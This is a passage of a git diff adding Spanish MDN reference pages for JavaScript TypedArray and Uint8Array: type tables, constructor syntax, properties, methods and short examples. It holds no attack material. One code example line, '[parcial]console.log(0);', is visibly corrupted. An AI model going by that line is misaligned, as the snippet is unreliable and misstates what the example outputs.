+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/typedarray/index.html b/files/es/web/javascript/referencia/objetos_globales/typedarray/index.html
new file mode 100644
index 0000000000..644b28c081
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/typedarray/index.html
@@ -0,0 +1,317 @@
+---
+title: TypedArray
+slug: Web/JavaScript/Referencia/Objetos_globales/TypedArray
+tags:
+  - Clase
+  - Class
+  - JavaScript
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray
+---
+<div>{{JSRef}}</div>
+
+<p>Un objeto <strong><em>TypedArray</em></strong> describe una vista similar a un arreglo de un <a href="/es/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">búfer de datos binarios subyacente</a>. No existe una propiedad global denominada <code>TypedArray</code>, ni existe un constructor <code>TypedArray</code> directamente visible. En cambio, hay una serie de diferentes propiedades globales, cuyos valores son constructores de arreglos tipados para tipos de elementos específicos, que se enumeran a continuación. En las siguientes páginas, encontrarás propiedades y métodos comunes que se pueden utilizar con cualquier arreglo tipado que contenga elementos de cualquier tipo.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-constructor.html")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción.</p>
+
+<dl>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>ECMAScript 2015 define un constructor <code><var>TypedArray</var></code> que sirve como <code>[[Prototype]]</code> de todos los constructores <code><var>TypedArray</var></code>. Este constructor no está expuesto directamente: no existe una propiedad global <code>%TypedArray%</code> o <code>TypedArray</code>. Solo es accesible directamente a través de <code>Object.getPrototypeOf(Int8Array)</code> y similares. Todos los constructores de <code><var>TypedArray</var></code> heredan propiedades comunes de la función constructora <code>%TypedArray%</code>. Además, todos los prototipos de arreglos con tipo (<code><var>TypedArray.</var></code><code>prototype</code>) tienen <code>%TypedArray%.prototype</code> como su <code>[[Prototype]]</code>.</p>
+
+<p>El constructor <code>%TypedArray%</code> por sí solo no es particularmente útil. Llamarlo o usarlo en una expresión <code>new</code> arrojará un {{jsxref("TypeError")}}, excepto cuando se usa durante la creación de objetos en motores JS que admiten subclases. Actualmente no existen tales motores, por lo que <code>%TypedArray%</code> solo es útil para rellenar funciones o propiedades en todos los constructores <code><var>TypedArray</var></code>.</p>
+
+<p>Al crear una instancia de <code><var>TypedArray</var></code> (p. ej., <code>Int8Array</code>), se crea un arreglo de búfer internamente en la memoria o, si se proporciona un objeto <code>ArrayBuffer</code> como argumento del constructor, entonces se usa en su lugar. La dirección del búfer se guarda como una propiedad interna de la instancia y todos los métodos de <code>%<var>TypedArray</var>%.prototype</code>, es decir, establecer el valor y obtener valor, etc.., operan en esa dirección del arreglo de búfer.</p>
+
+<h3 id="Objetos_TypedArray">Objetos TypedArray</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th class="header" scope="col">Tipo</th>
+   <th class="header" scope="col">Intervalo de valores</th>
+   <th class="header" scope="col">Tamaño en bytes</th>
+   <th class="header" scope="col">Descripción</th>
+   <th class="header" scope="col">Tipo de IDL web</th>
+   <th class="header" scope="col">Tipo C equivalente</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Int8Array")}}</td>
+   <td><code>-128</code> a <code>127</code></td>
+   <td>1</td>
+   <td>Dos enteros complementarios de 8 bits con signo</td>
+   <td><code>byte</code></td>
+   <td><code>int8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8Array")}}</td>
+   <td><code>0</code> a <code>255</code></td>
+   <td>1</td>
+   <td>Entero de 8-bit sin signo</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8ClampedArray")}}</td>
+   <td><code>0</code> a <code>255</code></td>
+   <td>1</td>
+   <td>Entero de 8 bits sin signo (sujeto)</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int16Array")}}</td>
+   <td><code>-32768</code> a <code>32767</code></td>
+   <td>2</td>
+   <td>Dos enteros complementarios de 16 bits con signo</td>
+   <td><code>short</code></td>
+   <td><code>int16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint16Array")}}</td>
+   <td><code>0</code> a <code>65535</code></td>
+   <td>2</td>
+   <td>Entero de 16 bits sin signo</td>
+   <td><code>Short sin signo</code></td>
+   <td><code>uint16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int32Array")}}</td>
+   <td><code>-2147483648</code> a <code>2147483647</code></td>
+   <td>4</td>
+   <td>dos enteros complementarios de 32 bits con signo</td>
+   <td><code>long</code></td>
+   <td><code>int32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint32Array")}}</td>
+   <td><code>0</code> a <code>4294967295</code></td>
+   <td>4</td>
+   <td>Enteros de 32 bits sin signo</td>
+   <td><code>long sin signo</code></td>
+   <td><code>uint32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float32Array")}}</td>
+   <td><code>1.2</code><span>×</span><code>10<sup>-38</sup></code> a <code>3.4</code><span>×</span><code>10<sup>38</sup></code></td>
+   <td>4</td>
+   <td>Número de coma flotante IEEE de 32 bits (7 dígitos significativos, p. ej., <code>1.1234567</code>)</td>
+   <td><code>float sin restricciones</code></td>
+   <td><code>float</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float64Array")}}</td>
+   <td><code>5.0</code><span>×</span><code>10<sup>-324</sup></code> a <code>1.8</code><span>×</span><code>10<sup>308</sup></code></td>
+   <td>8</td>
+   <td>Número de coma flotante IEEE de 64 bits (16 dígitos significativos, p. Ej., <code>1.123...15</code>)</td>
+   <td><code>doble sin restricciones</code></td>
+   <td><code>double</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("BigInt64Array")}}</td>
+   <td><code>-2<sup>63</sup></code> a <code>2<sup>63</sup>-1</code></td>
+   <td>8</td>
+   <td>Dos enteros complementarios de 64 bits con signo</td>
+   <td><code>bigint</code></td>
+   <td><code>int64_t (long long con signo)</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("BigUint64Array")}}</td>
+   <td><code>0</code> a <code>2<sup>64</sup>-1</code></td>
+   <td>8</td>
+   <td>Entero de 64 bits sin signo</td>
+   <td><code>bigint</code></td>
+   <td><code>uint64_t (long long sin signo)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constructor">Constructor</h2>
+
+<p>No se puede crear una instancia de este objeto directamente. En su lugar, crea una instancia de un arreglo de un tipo particular, tal como {{jsxref("Int8Array")}} o {{jsxref("BigInt64Array")}}. Todos estos objetos tienen una sintaxis común para sus constructores:</p>
+
+<pre class="syntaxbox notranslate">new <var>TypedArray</var>();
+new <var>TypedArray</var>(<var>length</var>);
+new <var>TypedArray</var>(<var>typedArray</var>);
+new <var>TypedArray</var>(<var>object</var>);
+new <var>TypedArray</var>(<var>buffer</var> [, <var>byteOffset</var> [, <var>length</var>]]);
+</pre>
+
+<p>Donde <var>TypedArray</var> es un constructor para uno de los tipos concretos.</p>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><var>length</var></code></dt>
+ <dd>Cuando se llama con un argumento <code><var>length</var></code>, se crea un búfer de arreglo interno en la memoria, de tamaño <code><var>length</var></code> <em>multiplicado por <code>BYTES_PER_ELEMENT</code></em> bytes, que contienen ceros.</dd>
+ <dt><code><var>typedArray</var></code></dt>
+ <dd>Cuando se llama con un argumento <code>typedArray</code>, que puede ser un objeto de cualquiera de los tipos de arreglo con tipo (como <code>Int32Array</code>), el <code><var>typedArray</var></code> se copia en un nuevo arreglo tipado. Cada valor en <code><var>typedArray</var></code> se convierte al tipo correspondiente del constructor antes de ser copiado en el nuevo arreglo. La longitud del nuevo arreglo tipado será la misma que la longitud del argumento <code><var>typedArray</var></code>.</dd>
+ <dt><code><var>object</var></code></dt>
+ <dd>Cuando se llama con un argumento <code><var>object</var></code>, se crea un nuevo arreglo tipado como si fuera el método <code><var>TypedArray</var>.from()</code>.</dd>
+ <dt><code><var>buffer</var></code>, <code><var>byteOffset</var></code>, <code><var>length</var></code></dt>
+ <dd>Cuando se llama con un <code><var>buffer</var></code> y, opcionalmente, un <code><var>byteOffset</var></code> y un <code><var>length</var></code>, se crea una nueva vista del arreglo tipado que visualiza el {{jsxref("ArrayBuffer")}} especificado. Los parámetros <code><var>byteOffset</var></code> y <code><var>length</var></code> especifican el rango de memoria que será expuesto por la vista del arreglo tipado. Si se omiten ambos, se visualiza todo el <code><var>buffer</var></code>; si solo se omite <code><var>length</var></code>, se visualiza el resto de <code><var>buffer</var></code>.</dd>
+</dl>
+
+<h2 id="Propiedades_estáticas">Propiedades estáticas</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Devuelve un valor numérico del tamaño del elemento para los diferentes objetos <code><var>TypedArray</var></code>.</dd>
+ <dt>{{jsxref("TypedArray.name")}}</dt>
+ <dd>Devuelve el valor de cadena del nombre del constructor (por ejemplo, <code>"Int8Array"</code>).</dd>
+ <dt>{{jsxref("TypedArray.@@species", "get TypedArray[@@species]")}}</dt>
+ <dd>La función constructora utilizada para crear objetos derivados.</dd>
+ <dt>{{jsxref("TypedArray.prototype")}}</dt>
+ <dd>Prototipo para objetos <code><var>TypedArray</var></code>.</dd>
+</dl>
+
+<h2 id="Métodos_estáticos">Métodos estáticos</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from()")}}</dt>
+ <dd>Crea un nuevo <code><var>TypedArray</var></code> a partir de un objeto iterable o similar a un arreglo. Consulta también {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of()")}}</dt>
+ <dd>Crea un nuevo <code><var>TypedArray</var></code> con un número variable de argumentos. Consulta también {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Propiedades_de_la_instancia">Propiedades de la instancia</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.prototype.buffer")}}</dt>
+ <dd>Devuelve el {{jsxref("ArrayBuffer")}} al que hace referencia el arreglo tipado. Corregido en el momento de la construcción y, por lo tanto, de <strong>solo lectura</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength")}}</dt>
+ <dd>Devuelve la longitud (en bytes) del arreglo tipado. Corregido en el momento de la construcción y, por lo tanto, de <strong>solo lectura.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset")}}</dt>
+ <dd>Devuelve el desplazamiento (en bytes) del arreglo tipado desde el inicio de su {{jsxref("ArrayBuffer")}}. Corregido en el momento de la construcción y, por lo tanto, de <strong>solo lectura.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.length")}}</dt>
+ <dd>Devuelve el número de elementos contenidos en el arreglo tipado. Corregido en el momento de la construcción y, por lo tanto, de <strong>solo lectura.</strong></dd>
+</dl>
+
+<h2 id="Métodos_de_instancia">Métodos de instancia</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.prototype.copyWithin()")}}</dt>
+ <dd>Copia una secuencia de elementos de arreglo dentro del arreglo. Consulta también {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.entries()")}}</dt>
+ <dd>Devuelve un nuevo objeto <code>Array Iterator</code> que contiene los pares clave/valor para cada índice del arreglo. Consulta también {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.every()")}}</dt>
+ <dd>Comprueba si todos los elementos del arreglo pasan la prueba proporcionada por una función. Consulta también {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.fill()")}}</dt>
+ <dd>Rellena todos los elementos de un arreglo desde un índice inicial hasta un índice final con un valor estático. Consulta también {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.filter()")}}</dt>
+ <dd>Crea un nuevo arreglo con todos los elementos de este arreglo para la cual la función de filtrado proporcionada devuelve <code>true</code>. Consulta también {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.find()")}}</dt>
+ <dd>Devuelve el valor encontrado en el arreglo, si un elemento del arreglo satisface la función de prueba proporcionada, o <code>undefined</code> si no se encuentra. Consulta también {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.findIndex()")}}</dt>
+ <dd>Devuelve el índice encontrado en el arreglo, si un elemento del arreglo satisface la función de prueba proporcionada o <code>-1</code> si no se encuentra. Consulta también {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.forEach()")}}</dt>
+ <dd>Llama a una función para cada elemento del arreglo. Consulta también {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.includes()")}}</dt>
+ <dd>Determina si un arreglo tipado incluye un determinado elemento, devolviendo <code>true</code> o <code>false</code> según corresponda. Consulta también {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.indexOf()")}}</dt>
+ <dd>Devuelve el primer (mínimo) índice de un elemento dentro del arreglo igual al valor especificado, o <code>-1</code> si no se encuentra ninguno. Consulta también {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.join()")}}</dt>
+ <dd>Une todos los elementos de un arreglo en una cadena. Consulta también {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.keys()")}}</dt>
+ <dd>Devuelve un nuevo <code>Array Iterator</code> que contiene las claves para cada índice del arreglo. Consulta también {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</dt>
+ <dd>Devuelve el último (mayor) índice de un elemento dentro del arreglo igual al valor especificado, o <code>-1</code> si no se encuentra ninguno. Consulta también {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.map()")}}</dt>
+ <dd>Crea un nuevo arreglo con los resultados de llamar a una función proporcionada en cada elemento de este arreglo. Consulta también {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reduce()")}}</dt>
+ <dd>Aplica una función contra un acumulador y cada valor del arreglo (de izquierda a derecha) para reducirlo a un solo valor. Consulta también {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reduceRight()")}}</dt>
+ <dd>Aplica una función contra un acumulador y cada valor del arreglo (de derecha a izquierda) para reducirlo a un solo valor. Consulta también {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reverse()")}}</dt>
+ <dd>Invierte el orden de los elementos de un arreglo: el primero se convierte en el último y el último en el primero. Consulta también {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.set()")}}</dt>
+ <dd>Almacena múltiples valores en el arreglo tipado, leyendo valores de entrada de un arreglo especificado.</dd>
+ <dt>{{jsxref("TypedArray.prototype.slice()")}}</dt>
+ <dd>Extrae una sección de un arreglo y devuelve un nuevo arreglo. Consulta también {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.some()")}}</dt>
+ <dd>Devuelve <code>true</code> si al menos un elemento de este arreglo satisface la función de prueba proporcionada. Consulta también {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.sort()")}}</dt>
+ <dd>Ordena los elementos de un arreglo en su lugar y devuelve el arreglo. Consulta también {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.subarray()")}}</dt>
+ <dd>Devuelve un nuevo <code><var>TypedArray</var></code> del índice del elemento inicial y final dado.</dd>
+ <dt>{{jsxref("TypedArray.prototype.values()")}}</dt>
+ <dd>Devuelve un nuevo objeto <code>Array Iterator</code> que contiene los valores de cada índice del arreglo. Consulta también {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.toLocaleString()")}}</dt>
+ <dd>Devuelve una cadena localizada que representa el arreglo y sus elementos. Consulta también {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.toString()")}}</dt>
+ <dd>Devuelve una cadena que representa el arreglo y sus elementos. Consulta también {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}</dt>
+ <dd>Devuelve un nuevo objeto <code>Array Iterator</code> que contiene los valores de cada índice del arreglo.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Se_requiere_new">Se requiere <code>new</code></h3>
+
+<p>A partir de ECMAScript 2015, los constructores <code>TypedArray</code> se deben construir con el operador {{jsxref("Operators/new", "new")}}. Llamar a un constructor <code>TypedArray</code> como una función sin <code>new</code> arrojará un {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad notranslate">var dv = Int8Array([1, 2, 3]);
+// TypeError: llamar a un constructor Int8Array incorporado
+// sin new está prohibido</pre>
+
+<pre class="brush: js example-good notranslate">var dv = new Int8Array([1, 2, 3]);</pre>
+
+<h3 id="Acceso_a_la_propiedad">Acceso a la propiedad</h3>
+
+<p>Puedes hacer referencia a elementos en el arreglo utilizando la sintaxis de índice de arreglo estándar (es decir, utilizando la notación entre corchetes). Sin embargo, obtener o establecer propiedades indexadas en arreglos tipados no buscará esta propiedad en la cadena de prototipos, incluso cuando los índices estén fuera de límites. Las propiedades indexadas consultarán el {{jsxref("ArrayBuffer")}} y nunca mirarán las propiedades del objeto. Aún puedes usar propiedades con nombre, al igual que con todos los objetos.</p>
+
+<pre class="brush: js notranslate">// Configuración y obtención usando la sintaxis de arreglo estándar
+var int16 = new Int16Array(2);
+int16[0] = 42;
+[parcial]console.log(0);
+
+// No se consultan las propiedades indexadas en los prototipos (Fx 25)
+Int8Array.prototype[20] = 'foo';
+(new Int8Array(32))[20]; // 0
+// incluso cuando está fuera del límite
+Int8Array.prototype[20] = 'foo';
+(new Int8Array(8))[20]; // undefined
+// o con enteros negativos
+Int8Array.prototype[-1] = 'foo';
+(new Int8Array(8))[-1]; // undefined
+
+// Sin embargo, se permiten propiedades con nombre (Fx 30)
+Int8Array.prototype.foo = 'bar';
+(new Int8Array(32)).foo; // "bar"</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Typed_arrays" title="es/JavaScript arreglos tipados">Arreglos tipados JavaScript</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li><a href="/es/docs/Web/API/TextDecoder">TextDecoder</a> — Ayuda que decodifica cadenas a partir de datos numéricos</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/uint8array/index.html b/files/es/web/javascript/referencia/objetos_globales/uint8array/index.html
new file mode 100644
index 0000000000..6402e356b0
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/uint8array/index.html
@@ -0,0 +1,260 @@
+---
+title: Uint8Array
+slug: Web/JavaScript/Referencia/Objetos_globales/Uint8Array
+tags:
+  - Arreglo
+  - JavaScript
+  - array de enteros
+translation_of: Web/JavaScript/Reference/Global_Objects/Uint8Array
+---
+<div>{{JSRef}}</div>
+
+<p>Los <strong><code>Uint8Array</code></strong> representan un array de enteros sin signo de 8 bits. El contenido se inicializa a 0. Una vez establecido, puedes hacer referencia a un elemento usando los métodos del objeto o usando la sintaxis de array estándar (esto es, usando la notación de corchetes).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">new Uint8Array(tamaño);
+new Uint8Array(typedArray);
+new Uint8Array(objeto);
+new Uint8Array(buffer [, byteOffset [, tamaño]]);</pre>
+
+<p>Para más información acerca de la sintaxis del constructor y sus parámetros, mire <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntax">TypedArray</a></em>.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint8Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Retorna un número con el valor del tamaño del elemento. <code>1</code> en el caso del <code>Uint8Array</code>.</dd>
+ <dt>Uint8Array.length</dt>
+ <dd>Propiedad estática de tamaño cuyo valor es 3. Para el tamaño actual (número d elementos), mire {{jsxref("TypedArray.prototype.length", "Uint8Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Uint8Array.name")}}</dt>
+ <dd>Devuelve el nombre del constructor en un string. En el caso de <code>Uint8Array</code> devuelve: "Uint8Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Uint8Array.prototype")}}</dt>
+ <dd>Prototipo para los objetos <em>TypedArray</em> .</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Uint8Array.from()")}}</dt>
+ <dd>Crea un nuevo <code>Uint8Array</code> desde un array o un objeto iterable. Véase también {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Uint8Array.of()")}}</dt>
+ <dd>Crea un  <code>Uint8Array con un número variable de argumentos</code>. Véase también {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Uint8Array_prototype"><code>Uint8Array</code> prototype</h2>
+
+<p>Todos los objetos <code>Uint8Array</code> son heredados de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Propiedades_2">Propiedades</h3>
+
+<dl>
+ <dt><code>Uint8Array.prototype.constructor</code></dt>
+ <dd>Retorna la función que crea una instancia del prototype. Éste es el constructor por defecto de <code>Uint8Array</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Uint8Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Retorna el {{jsxref("ArrayBuffer")}} con la referencia del <code>Uint8Array. </code>Fijado en el tiempo de construcción y es de <strong>sólo lectura</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Uint8Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Retorna el tamaño (en bytes) del array <code>Uint8Array</code>. Fijado en el tiempo de construcción y es de <strong>sólo lectura</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Uint8Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Retorna el offset (en bytes) del <code>Uint8Array</code> desde el inicio de su  {{jsxref("ArrayBuffer")}}. Fijado en el tiempo de construcción y es de <strong>sólo lectura</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Uint8Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Retorna el número de elementos contenidos en el <code>Uint8Array</code>. Fijado en el tiempo de construcción y es de <strong>sólo lectura</strong>.</dd>
+</dl>
+
+<h3 id="Métodos_2">Métodos</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Uint8Array.prototype.copyWithin()")}}</dt>
+ <dd>Copia una secuencia de elementos del array dentro del array. Véase también {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Uint8Array.prototype.entries()")}}</dt>
+ <dd>Retorna un nuevo objeto <code>Array Iterator</code> que contiene los pares de valores para cada índice del array. Véase también {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Uint8Array.prototype.every()")}}</dt>
+ <dd>Prueba si todos los elementos del array cumplen las condiciones de una función. Véase también {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Uint8Array.prototype.fill()")}}</dt>
+ <dd>Llena todos los elementos del array desde el principio hasta el final con un valor dado. Véase también {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Uint8Array.prototype.filter()")}}</dt>
+ <dd>Crea un nuevo array con todos los elementos del array que satisfacen las condiciones de una función que devuelve verdadero. Véase también {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Uint8Array.prototype.find()")}}</dt>
+ <dd>Devuelve el valor encontrado en el array, si un elemento del array satisface una función dada de prueba o undefined si no es encontrada. Véase también {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Uint8Array.prototype.findIndex()")}}</dt>
+ <dd>Devuelve el índice encontrado en el array, si un elemento del array satisface una función dada de prueba o -1 si no es encontrada. Véase también {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Uint8Array.prototype.forEach()")}}</dt>
+ <dd>Llama a una función para cada elemento del array. Véase también {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Uint8Array.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Determina si un <font face="consolas, Liberation Mono, courier, monospace">array</font> incluye un cierto elemento, retornando <code>true</code> o <code>false</code> según corresponda. Véase también {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Uint8Array.prototype.indexOf()")}}</dt>
+ <dd>Devuelve el primer (menor) índice de un elemento dentro del array igual al valor especificado, o -1 si no es encontrado. Véase también {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Uint8Array.prototype.join()")}}</dt>
+ <dd>Une todos los elementos de un array a una cadena.  Véase también {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Uint8Array.prototype.keys()")}}</dt>
+ <dd>Retorna un nuevo <code>Array Iterator</code> que contiene las claves para cada índice en el array. Véase también {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Uint8Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Devuelve el último (mayor) índice de un elemento dentro del array igual al valor especificado, o -1 si no fue encontrado. Véase también {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Uint8Array.prototype.map()")}}</dt>
+ <dd>Crea un nuevo array con los resultados de la llamada a la función indicada aplicados a cada uno de sus elementos. Véase también {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Uint8Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Primera versión no-estandar de {{jsxref("TypedArray.copyWithin", "Uint8Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Uint8Array.prototype.reduce()")}}</dt>
+ <dd>
+ <p>Aplica una función a un acumulador y a cada valor de un array (de izquierda a derecha) para reducirlo a un único valor. Véase también {{jsxref("Array.prototype.reduce()")}}.</p>
+ </dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Uint8Array.prototype.reduceRight()")}}</dt>
+ <dd>Aplica una función a un acumulador y a cada valor de un array (de derecha a izquierda) para reducirlo a un único valor. Véase también {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Uint8Array.prototype.reverse()")}}</dt>
+ <dd>Inverte el orden de los elementos de un array, el primero se convierte en el último y el último en el primero. See also {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Uint8Array.prototype.set()")}}</dt>
+ <dd>Almacena múltiples valores en el array, leyendo los valores de entrada de un array específico.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Uint8Array.prototype.slice()")}}</dt>
+ <dd>Extrae una porción de un array y devuelve uno nuevo. Véase también {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Uint8Array.prototype.some()")}}</dt>
+ <dd>Devuelve <code>true</code> si al menos un elemento de este array satisface la función de prueba proporcionada. Véase también {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Uint8Array.prototype.sort()")}}</dt>
+ <dd>Ordena los elementos de un array localmente y devuelve el array. Véase también {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Uint8Array.prototype.subarray()")}}</dt>
+ <dd>Retorna un nuevo <code>Uint8Array</code> desde el índice de elementos iniciales y finales proporcionados.</dd>
+ <dt>{{jsxref("TypedArray.values", "Uint8Array.prototype.values()")}}</dt>
